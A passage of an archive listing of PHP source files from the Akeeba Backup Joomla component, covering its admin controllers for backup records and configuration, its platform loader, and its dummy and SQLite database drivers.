			$type    = 'error';
		}

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', $message, $type);
	}

	/**
	 * Unfreeze select records
	 *
	 * @throws Exception
	 */
	public function unfreeze()
	{
		$this->csrfProtection();

		$ids   = $this->getIDsFromRequest();

		/** @var Statistics $model */
		$model = $this->getModel();

		$message = Text::_('COM_AKEEBA_BUADMIN_UNFREEZE_OK');
		$type    = 'message';

		try
		{
			$model->freezeUnfreezeRecords($ids, 0);
		}
		catch (Exception $e)
		{
			$message = Text::sprintf('COM_AKEEBA_BUADMIN_UNFREEZE_ERROR', $e->getMessage());
			$type    = 'error';
		}

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', $message, $type);
	}

	/**
	 * Gets the list of IDs from the request data
	 *
	 * @return array
	 */
	protected function getIDsFromRequest()
	{
		// Get the ID or list of IDs from the request or the configuration
		$cid = $this->input->get('cid', array(), 'array');
		$id  = $this->input->getInt('id', 0);

		$ids = array();

		if (is_array($cid) && !empty($cid))
		{
			$ids = $cid;
		}
		elseif (!empty($id))
		{
			$ids = array($id);
		}

		return $ids;
	}
}
com_akeeba/Controller/web.config000060400000001025152455305260012702 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/Controller/Configuration.php000060400000021157152455305260014266 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use Akeeba\Backup\Admin\Model\Profiles;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use FOF40\Controller\Controller;
use FOF40\Input\Input;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/**
 * Configuration page controller
 */
class Configuration extends Controller
{
	use CustomACL;

	/** @var bool  */
	private $noFlush = false;

	public function __construct(Container $container, array $config = [])
	{
		parent::__construct($container, $config);

		$this->noFlush = ComponentHelper::getParams('com_akeeba')->get('no_flush', 0) == 1;
	}


	/**
	 * Handle the apply task which saves the configuration settings and shows the page again
	 */
	public function apply()
	{
		// CSRF prevention
		$this->csrfProtection();

		// Which input am I going to use?
		$jsonFormData = $this->input->getString('jsonForm', null);
		$jsonFormData = is_string($jsonFormData) ? @json_decode($jsonFormData, true) : $jsonFormData;

		if (empty($jsonFormData))
		{
			$input = $this->input;
		}
		else
		{
			$rawData = [];

			foreach ($jsonFormData as $k => $v)
			{
				if (substr($k, 0, 4) !== 'var[')
				{
					$rawData[$k] = $v;

					continue;
				}

				$k                  = substr($k, 4, -1);
				$rawData['var']     = $rawData['var'] ?? [];
				$rawData['var'][$k] = $v;
			}

			$input = new Input($rawData);
		}

		// Get the var array from the request
		$data                        = $input->get('var', [], 'array', 4);
		$data['akeeba.flag.confwiz'] = 1;

		/** @var \Akeeba\Backup\Admin\Model\Configuration $model */
		$model = $this->getModel();
		$model->setState('engineconfig', $data);
		$model->saveEngineConfig();

		// Finally, save the profile description if it has changed
		$profileid = Platform::getInstance()->get_active_profile();

		// Get profile name
		/** @var Profiles $profileRecord */
		$profileRecord = $this->container->factory->model('Profiles')->tmpInstance();
		$profileRecord->findOrFail($profileid);
		$oldProfileName = $profileRecord->description;
		$oldQuickIcon   = $profileRecord->quickicon;

		$profileName = $input->getString('profilename', null);
		$profileName = trim($profileName);

		$quickIconValue = $input->getCmd('quickicon', '');
		$quickIcon      = (int) !empty($quickIconValue);

		$mustSaveProfile = !empty($profileName) && ($profileName != $oldProfileName);
		$mustSaveProfile = $mustSaveProfile || ($quickIcon != $oldQuickIcon);

		if ($mustSaveProfile)
		{
			$profileRecord->save([
				'description' => $profileName,
				'quickicon'   => $quickIcon
			]);
		}

		$this->setRedirect(\Joomla\CMS\Uri\Uri::base() . 'index.php?option=com_akeeba&view=Configuration', \Joomla\CMS\Language\Text::_('COM_AKEEBA_CONFIG_SAVE_OK'));
	}

	/**
	 * Handle the save task which saves the configuration settings and returns to the Control Panel page
	 */
	public function save()
	{
		$this->apply();
		$this->setRedirect(\Joomla\CMS\Uri\Uri::base() . 'index.php?option=com_akeeba', \Joomla\CMS\Language\Text::_('COM_AKEEBA_CONFIG_SAVE_OK'));
	}

	/**
	 * Handle the save & new task which saves settings, creates a new backup profile, activates it and proceed to the
	 * configuration page once more.
	 */
	public function savenew()
	{
		// Save the current profile
		$this->apply();

		// Create a new profile
		$profileid = Platform::getInstance()->get_active_profile();

		/** @var Profiles $profile */
		$profile = $this->container->factory->model('Profiles')->tmpInstance();
		$profile
			// Load and clone the record we just saved
			->findOrFail($profileid)
			->getClone()
		;
		// Must unset ID before save. The ID cannot be bound with bind()/save(), hence the need to do it the hard way.
		$profile->id = null;
		$profile
			->save([
				'description' => \Joomla\CMS\Language\Text::_('COM_AKEEBA_CONFIG_SAVENEW_DEFAULT_PROFILE_NAME')
			])
		;

		// Activate and edit the new profile
		$returnUrl = base64_encode($this->redirect);
		$token     = $this->container->platform->getToken(true);
		$url       = \Joomla\CMS\Uri\Uri::base() . 'index.php?option=com_akeeba&task=SwitchProfile&profileid=' . $profile->getId() .
			'&returnurl=' . $returnUrl . '&' . $token . '=1';
		$this->setRedirect($url);
	}

	/**
	 * Handle the cancel task which doesn't save anything and returns to the Control Panel page
	 */
	public function cancel()
	{
		// CSRF prevention
		$this->csrfProtection();
		$this->setRedirect(\Joomla\CMS\Uri\Uri::base() . 'index.php?option=com_akeeba');
	}

	/**
	 * Tests the validity of the FTP connection details
	 */
	public function testftp()
	{
		/** @var \Akeeba\Backup\Admin\Model\Configuration $model */
		$model = $this->getModel();
		$input = $this->input;
		$model->setState('isCurl', $input->get('isCurl', 0, 'int'));
		$model->setState('host', $input->get('host', '', 'raw', 2));
		$model->setState('port', $input->get('port', 21, 'int'));
		$model->setState('user', $input->get('user', '', 'raw', 2));
		$model->setState('pass', $input->get('pass', '', 'raw', 2));
		$model->setState('initdir', $input->get('initdir', '', 'raw', 2));
		$model->setState('usessl', $input->getCmd('usessl', "false") == "true");
		$model->setState('passive', $input->getCmd('passive', "false") == "true");
		$model->setState('passive_mode_workaround', $input->getCmd('passive_mode_workaround', "false") == "true");

		try
		{
			$model->testFTP();
			$testResult = true;
		}
		catch (\RuntimeException $e)
		{
			$testResult = $e->getMessage();
		}

		@ob_end_clean();
		echo '###' . json_encode($testResult) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}

	/**
	 * Tests the validity of the SFTP connection details
	 */
	public function testsftp()
	{
		/** @var \Akeeba\Backup\Admin\Model\Configuration $model */
		$model = $this->getModel();
		$model->setState('isCurl', $this->input->get('isCurl', 0, 'int'));
		$model->setState('host', $this->input->get('host', '', 'raw', 2));
		$model->setState('port', $this->input->get('port', 21, 'int'));
		$model->setState('user', $this->input->get('user', '', 'raw', 2));
		$model->setState('pass', $this->input->get('pass', '', 'raw', 2));
		$model->setState('privkey', $this->input->get('privkey', '', 'raw', 2));
		$model->setState('pubkey', $this->input->get('pubkey', '', 'raw', 2));
		$model->setState('initdir', $this->input->get('initdir', '', 'raw', 2));

		try
		{
			$model->testSFTP();
			$testResult = true;
		}
		catch (\RuntimeException $e)
		{
			$testResult = $e->getMessage();
		}

		@ob_end_clean();
		echo '###' . json_encode($testResult) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}

	/**
	 * Opens an OAuth window for the selected data processing engine
	 */
	public function dpeoauthopen()
	{
		/** @var \Akeeba\Backup\Admin\Model\Configuration $model */
		$model = $this->getModel();
		$model->setState('engine', $this->input->get('engine', '', 'raw'));
		$model->setState('params', $this->input->get('params', array(), 'array', 2));

		@ob_end_clean();
		$model->dpeOuthOpen();

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}

	/**
	 * Runs a custom API call against the selected data processing engine and returns the JSON encoded result
	 */
	public function dpecustomapi()
	{
		/** @var \Akeeba\Backup\Admin\Model\Configuration $model */
		$model = $this->getModel();
		$model->setState('engine', $this->input->get('engine', '', 'raw', 2));
		$model->setState('method', $this->input->get('method', '', 'raw', 2));
		$model->setState('params', $this->input->get('params', array(), 'array', 2));

		@ob_end_clean();
		echo '###' . json_encode($model->dpeCustomAPICall()) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}

	/**
	 * Runs a custom API call against the selected data processing engine and returns the raw result
	 */
	public function dpecustomapiraw()
	{
		/** @var \Akeeba\Backup\Admin\Model\Configuration $model */
		$model = $this->getModel();
		$model->setState('engine', $this->input->get('engine', '', 'raw', 2));
		$model->setState('method', $this->input->get('method', '', 'raw', 2));
		$model->setState('params', $this->input->get('params', array(), 'array', 2));

		@ob_end_clean();
		echo $model->dpeCustomAPICall();

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}
}
com_akeeba/Controller/Browser.php000060400000001442152455305260013075 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use FOF40\Controller\Controller;

class Browser extends Controller
{
	use CustomACL;

	protected function onBeforeDefault()
	{
		$folder        = $this->input->get('folder', '', 'string');
		$processfolder = $this->input->get('processfolder', 0, 'int');

		/** @var \Akeeba\Backup\Admin\Model\Browser $model */
		$model = $this->getModel();
		$model->setState('folder', $folder);
		$model->setState('processfolder', $processfolder);
		$model->makeListing();
	}
}
com_akeeba/Controller/FileFilters.php000060400000001603152455305260013661 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
use FOF40\Container\Container;

defined('_JEXEC') || die();

/**
 * File Filters controller
 */
class FileFilters extends DatabaseFilters
{
	/**
	 * Overridden FileFilters constructor. Sets the correct model and view names.
	 *
	 * @param   Container  $container  The component's container
	 * @param   array      $config     Optional configuration overrides
	 */
	public function __construct(Container $container, array $config)
	{
		if (!is_array($config))
		{
			$config = [];
		}

		$config = array_merge([
			'modelName'	=> 'FileFilters',
			'viewName'	=> 'FileFilters'
		], $config);

		parent::__construct($container, $config);
	}

}
com_akeeba/BackupEngine/Platform.php000060400000020161152455305260013445 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Platform\Base;
use Akeeba\Engine\Platform\PlatformInterface;
use DirectoryIterator;
use Exception;

/**
 * Platform abstraction. Manages the loading of platform connector objects and delegates calls to itself the them.
 *
 * @property string $tableNameProfiles The name of the table where backup profiles are stored
 * @property string $tableNameStats    The name of the table where backup records are stored
 *
 * @since    3.4
 */
class Platform
{
	/** @var Base|null The currently loaded platform connector object instance */
	protected static $platformConnectorInstance = null;

	/** @var array A list of additional directories where platform classes can be found */
	protected static $knownPlatformsDirectories = [];

	/** @var Platform The currently loaded object instance of this class. WARNING: This is NOT the platform connector! */
	protected static $instance = null;

	/**
	 * Public class constructor
	 *
	 * @param   string  $platform  Optional; platform name. Leave blank to auto-detect.
	 *
	 * @throws  Exception  When the platform cannot be loaded
	 */
	public function __construct($platform = null)
	{
		if (empty($platform) || is_null($platform))
		{
			$platform = static::detectPlatform();
		}

		if (empty($platform))
		{
			throw new Exception('Can not find a suitable Akeeba Engine platform for your site');
		}

		static::$platformConnectorInstance = static::loadPlatform($platform);

		if (!is_object(static::$platformConnectorInstance))
		{
			throw new Exception("Can not load Akeeba Engine platform $platform");
		}
	}

	/**
	 * Implements the Singleton pattern for this class
	 *
	 * @staticvar Platform $instance The static object instance
	 *
	 * @param   string  $platform  Optional; platform name. Autodetect if blank.
	 *
	 * @return  PlatformInterface
	 */
	public static function &getInstance($platform = null)
	{
		if (!is_object(static::$instance))
		{
			static::$instance = new Platform($platform);
		}

		return static::$instance;
	}

	/**
	 * Get a list of all directories where platform classes can be found
	 *
	 * @return  array
	 */
	public static function getPlatformDirectories()
	{
		$defaultPath = [];

		if (is_object(static::$platformConnectorInstance))
		{
			$defaultPath[] = __DIR__ . '/Platform/' . static::$platformConnectorInstance->platformName;
		}

		return array_merge(
			static::$knownPlatformsDirectories,
			$defaultPath
		);
	}

	/**
	 * Lists available platforms
	 *
	 * @staticvar   array   $platforms   Static cache of the available platforms
	 *
	 * @return  array  The list of available platforms
	 */
	static public function listPlatforms()
	{
		if (empty(static::$knownPlatformsDirectories))
		{
			$di = new DirectoryIterator(__DIR__ . '/Platform');

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isDir())
				{
					continue;
				}

				if ($file->isDot())
				{
					continue;
				}

				if ($file->getExtension() !== 'php')
				{
					continue;
				}

				$shortName = $file->getFilename();
				$bareName  = basename($shortName, '.php');

				/**
				 * We never have dots in our filenames but some hosts will rename files similar to  foo.1.php when their
				 * broken security scanners detect a false positive. This is our defence against that.
				 */
				if (strpos($bareName, '.') !== false)
				{
					continue;
				}

				static::$knownPlatformsDirectories[$shortName] = $file->getRealPath();
			}
		}

		return static::$knownPlatformsDirectories;
	}

	/**
	 * Add a platform to the list of known platforms
	 *
	 * @param   string  $slug               Short name of the platform
	 * @param   string  $platformDirectory  The path where you can find it
	 *
	 * @return  void
	 */
	public static function addPlatform($slug, $platformDirectory)
	{
		if (empty(static::$knownPlatformsDirectories))
		{
			static::listPlatforms();

			static::$knownPlatformsDirectories[$slug] = $platformDirectory;
		}
	}

	/**
	 * Auto-detect the suitable platform for this site
	 *
	 * @return  string
	 *
	 * @throws  Exception  When no platform is detected
	 */
	protected static function detectPlatform()
	{
		$platforms = static::listPlatforms();

		if (empty($platforms))
		{
			throw new Exception('No Akeeba Engine platform class found');
		}

		$bestPlatform = (object) [
			'name'     => null,
			'priority' => 0,
		];

		foreach ($platforms as $platform => $path)
		{
			$o = static::loadPlatform($platform, $path);

			if (is_null($o))
			{
				continue;
			}

			if ($o->isThisPlatform())
			{
				if ($o->priority > $bestPlatform->priority)
				{
					$bestPlatform->priority = $o->priority;
					$bestPlatform->name     = $platform;
				}
			}
		}

		return $bestPlatform->name;
	}

	/**
	 * Load a given platform and return the platform object
	 *
	 * @param   string  $platform  Platform name
	 * @param   string  $path      The path to laod the platform from (optional)
	 *
	 * @return  Base
	 */
	protected static function &loadPlatform($platform, $path = null)
	{
		if (empty($path))
		{
			if (isset(static::$knownPlatformsDirectories[$platform]))
			{
				$path = static::$knownPlatformsDirectories[$platform];
			}
		}

		if (empty($path))
		{
			$path = dirname(__FILE__) . '/' . $platform;
		}

		$classFile = $path . '/Platform.php';
		$className = '\\Akeeba\\Engine\\Platform\\' . ucfirst($platform);

		$null = null;

		if (!file_exists($classFile))
		{
			return $null;
		}

		require_once($classFile);

		if (!class_exists($className, false))
		{
			return $null;
		}

		$o = new $className;

		return $o;
	}

	/**
	 * Magic method to proxy all calls to the loaded platform object
	 *
	 * @param   string  $name       The name of the method to call
	 * @param   array   $arguments  The arguments to pass
	 *
	 * @return  mixed  The result of the method being called
	 *
	 * @throws  Exception  When the platform isn't loaded or an non-existent method is called
	 */
	public function __call($name, array $arguments)
	{
		if (is_null(static::$platformConnectorInstance))
		{
			throw new Exception('Akeeba Engine platform is not loaded');
		}

		if (method_exists(static::$platformConnectorInstance, $name))
		{
			return static::$platformConnectorInstance->$name(...$arguments);
		}
		else
		{
			throw new Exception('Method ' . $name . ' not found in Akeeba Platform');
		}
	}

	/**
	 * Magic getter for the properties of the loaded platform
	 *
	 * @param   string  $name  The name of the property to get
	 *
	 * @return  mixed  The value of the property
	 */
	public function __get($name)
	{
		if (!isset(static::$platformConnectorInstance->$name) || !property_exists(static::$platformConnectorInstance, $name))
		{
			static::$platformConnectorInstance->$name = null;
			user_error(__CLASS__ . ' does not support property ' . $name, E_NOTICE);
		}

		return static::$platformConnectorInstance->$name;
	}

	/**
	 * Magic setter for the properties of the loaded platform
	 *
	 * @param   string  $name   The name of the property to set
	 * @param   mixed   $value  The value of the property to set
	 */
	public function __set($name, $value)
	{
		if (isset(static::$platformConnectorInstance->$name) || property_exists(static::$platformConnectorInstance, $name))
		{
			static::$platformConnectorInstance->$name = $value;
		}
		else
		{
			static::$platformConnectorInstance->$name = null;
			user_error(__CLASS__ . ' does not support property ' . $name, E_NOTICE);
		}
	}
}
com_akeeba/BackupEngine/Driver/None.php000060400000021534152455305260014020 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as QueryBase;

/**
 * Dummy driver class for flat-file CMS
 */
#[\AllowDynamicProperties]
class None extends Base
{
	public static $dbtech = 'none';
	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $name = 'none';

	public function __construct(array $options)
	{
		$this->driverType = 'none';

		parent::__construct($options);
	}

	/**
	 * Test to see if this db driver is available
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 */
	public static function isSupported()
	{
		return true;
	}

	public function open()
	{
		return $this;
	}

	/**
	 * Closes the database connection
	 */
	public function close()
	{
		return;
	}

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	public function connected()
	{
		return true;
	}

	/**
	 * Drops a table from the database.
	 *
	 * @param   string   $table     The name of the database table to drop.
	 * @param   boolean  $ifExists  Optionally specify that the table must exist before it is dropped.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public function dropTable($table, $ifExists = true)
	{
		return $this;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string   The escaped string.
	 */
	public function escape($text, $extra = false)
	{
		return '';
	}

	/**
	 * Method to fetch a row from the result set cursor as an associative array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	public function fetchAssoc($cursor = null)
	{
		return false;
	}

	/**
	 * Method to free up the memory used for the result set.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  void
	 */
	public function freeResult($cursor = null)
	{
		return;
	}

	/**
	 * Get the number of affected rows for the previous executed SQL statement.
	 *
	 * @return  integer  The number of affected rows.
	 */
	public function getAffectedRows()
	{
		return 0;
	}

	/**
	 * Method to get the database collation in use by sampling a text field of a table in the database.
	 *
	 * @return  mixed  The collation in use by the database or boolean false if not supported.
	 */
	public function getCollation()
	{
		return false;
	}

	/**
	 * Get the number of returned rows for the previous executed SQL statement.
	 *
	 * @param   resource  $cursor  An optional database cursor resource to extract the row count from.
	 *
	 * @return  integer   The number of returned rows.
	 */
	public function getNumRows($cursor = null)
	{
		return 0;
	}

	/**
	 * Get the current query object or a new QueryBase object.
	 *
	 * @param   boolean  $new  False to return the current query object, True to return a new QueryBase object.
	 *
	 * @return  QueryBase  The current query object or a new object extending the QueryBase class.
	 */
	public function getQuery($new = false)
	{
		return $this->sql;
	}

	public function createQuery()
	{
		return $this->sql;
	}

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   string   $table     The name of the database table.
	 * @param   boolean  $typeOnly  True (default) to only return field types.
	 *
	 * @return  array  An array of fields by table.
	 */
	public function getTableColumns($table, $typeOnly = true)
	{
		return [];
	}

	/**
	 * Shows the table CREATE statement that creates the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  A list of the create SQL for the tables.
	 */
	public function getTableCreate($tables)
	{
		return [];
	}

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  An array of keys for the table(s).
	 */
	public function getTableKeys($tables)
	{
		return [];
	}

	/**
	 * Method to get an array of all tables in the database.
	 *
	 * @return  array  An array of all the tables in the database.
	 */
	public function getTableList()
	{
		return [];
	}

	/**
	 * Returns an array with the names of tables, views, procedures, functions and triggers
	 * in the database. The table names are the keys of the tables, whereas the value is
	 * the type of each element: table, view, merge, temp, procedure, function or trigger.
	 * Note that merge are MRG_MYISAM tables and temp is non-permanent data table, usually
	 * set up as temporary, black hole or federated tables. These two types should never,
	 * ever, have their data dumped in the SQL dump file.
	 *
	 * @param   bool  $abstract  Return or normal names? Defaults to true (names)
	 *
	 * @return  array
	 */
	public function getTables($abstract = true)
	{
		return [];
	}

	/**
	 * Get the version of the database connector
	 *
	 * @return  string  The database connector version.
	 */
	public function getVersion()
	{
		return '0.0.0';
	}

	/**
	 * Method to get the auto-incremented value from the last INSERT statement.
	 *
	 * @return  integer  The value of the auto-increment field from the last inserted row.
	 */
	public function insertid()
	{
		return 0;
	}

	/**
	 * Locks a table in the database.
	 *
	 * @param   string  $tableNameName  The name of the table to unlock.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public function lockTable($tableNameName)
	{
		return $this;
	}

	/**
	 * Execute the SQL statement.
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	public function query()
	{
		return false;
	}

	/**
	 * Renames a table in the database.
	 *
	 * @param   string  $oldTable  The name of the table to be renamed
	 * @param   string  $newTable  The new name for the table.
	 * @param   string  $backup    Table prefix
	 * @param   string  $prefix    For the table - used to rename constraints in non-mysql databases
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public function renameTable($oldTable, $newTable, $backup = null, $prefix = null)
	{
		return $this;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 */
	public function select($database)
	{
		return true;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * @return  boolean  True on success.
	 */
	public function setUTF()
	{
		return true;
	}

	/**
	 * Method to commit a transaction.
	 *
	 * @return  void
	 */
	public function transactionCommit()
	{
		return;
	}

	/**
	 * Method to roll back a transaction.
	 *
	 * @return  void
	 */
	public function transactionRollback()
	{
		return;
	}

	/**
	 * Method to initialize a transaction.
	 *
	 * @return  void
	 */
	public function transactionStart()
	{
		return;
	}

	/**
	 * Unlocks tables in the database.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public function unlockTables()
	{
		return $this;
	}

	/**
	 * Method to fetch a row from the result set cursor as an array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchArray($cursor = null)
	{
		return false;
	}

	/**
	 * Method to fetch a row from the result set cursor as an object.
	 *
	 * @param   mixed   $cursor  The optional result set cursor from which to fetch the row.
	 * @param   string  $class   The class name to use for the returned row object.
	 *
	 * @return  mixed   Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchObject($cursor = null, $class = 'stdClass')
	{
		return false;
	}
}
com_akeeba/BackupEngine/Driver/Sqlite.php000060400000047176152455305260014374 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as QueryBase;
use Akeeba\Engine\Driver\Query\Limitable;
use Akeeba\Engine\Driver\Query\Preparable;
use PDO;
use PDOException;
use PDOStatement;
use RuntimeException;
use SQLite3;

/**
 * SQLite database driver supporting PDO based connections
 *
 * @see    http://php.net/manual/en/ref.pdo-sqlite.php
 * @since  1.0
 */
#[\AllowDynamicProperties]
class Sqlite extends Base
{

	public static $dbtech = 'sqlite';

	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $name = 'sqlite';

	/** @var PDOStatement The database connection cursor from the last query. */
	protected $cursor;

	/** @var array   Contains the current query execution status */
	protected $executed = false;

	/**
	 * The character(s) used to quote SQL statement names such as table names or field names,
	 * etc. The child classes should define this as necessary.  If a single character string the
	 * same character is used for both sides of the quoted name, else the first character will be
	 * used for the opening quote and the second for the closing quote.
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $nameQuote = '`';

	/** @var resource   The prepared statement. */
	protected $prepared;

	/** @var bool Are we in the process of reconnecting to the database server? */
	private $isReconnecting = false;

	public function __construct(array $options)
	{
		$this->driverType = 'sqlite';

		parent::__construct($options);

		if (!is_object($this->connection))
		{
			$this->open();
		}
	}

	/**
	 * Test to see if the PDO ODBC connector is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 */
	public static function isSupported()
	{
		return class_exists('\\PDO') && in_array('sqlite', PDO::getAvailableDrivers());
	}

	/**
	 * Destructor.
	 *
	 * @since   1.0
	 */
	public function __destruct()
	{
		$this->freeResult();
		unset($this->connection);
	}

	public function close()
	{
		$return = false;

		if (is_object($this->cursor))
		{
			$this->cursor->closeCursor();
		}

		$this->connection = null;

		return $return;
	}

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	public function connected()
	{
		return !empty($this->connection);
	}

	/**
	 * Disconnects the database.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function disconnect()
	{
		$this->freeResult();
		unset($this->connection);
	}

	/**
	 * Drops a table from the database.
	 *
	 * @param   string   $table     The name of the database table to drop.
	 * @param   boolean  $ifExists  Optionally specify that the table must exist before it is dropped.
	 *
	 * @return  Sqlite  Returns this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function dropTable($table, $ifExists = true)
	{
		$this->open();

		$query = $this->getQuery(true);

		$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $query->quoteName($table));

		$this->execute();

		return $this;
	}

	/**
	 * Method to escape a string for usage in an SQLite statement.
	 *
	 * Note: Using query objects with bound variables is preferable to the below.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Unused optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 *
	 * @since   1.0
	 */
	public function escape($text, $extra = false)
	{
		if (is_int($text) || is_float($text))
		{
			return $text;
		}

		if (is_null($text))
		{
			return 'NULL';
		}

		return SQLite3::escapeString($text);
	}

	public function fetchAssoc($cursor = null)
	{
		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			return $cursor->fetch(PDO::FETCH_ASSOC);
		}

		if ($this->prepared instanceof PDOStatement)
		{
			return $this->prepared->fetch(PDO::FETCH_ASSOC);
		}
	}

	public function freeResult($cursor = null)
	{
		$this->executed = false;

		if ($cursor instanceof PDOStatement)
		{
			$cursor->closeCursor();
			$cursor = null;
		}

		if ($this->prepared instanceof PDOStatement)
		{
			$this->prepared->closeCursor();
			$this->prepared = null;
		}
	}

	public function getAffectedRows()
	{
		$this->open();

		if ($this->prepared instanceof PDOStatement)
		{
			return $this->prepared->rowCount();
		}
		else
		{
			return 0;
		}
	}

	/**
	 * Method to get the database collation in use by sampling a text field of a table in the database.
	 *
	 * @return  mixed  The collation in use by the database or boolean false if not supported.
	 *
	 * @since   1.0
	 */
	public function getCollation()
	{
		return $this->charset;
	}

	public function getNumRows($cursor = null)
	{
		$this->open();

		if ($cursor instanceof PDOStatement)
		{
			return $cursor->rowCount();
		}
		elseif ($this->prepared instanceof PDOStatement)
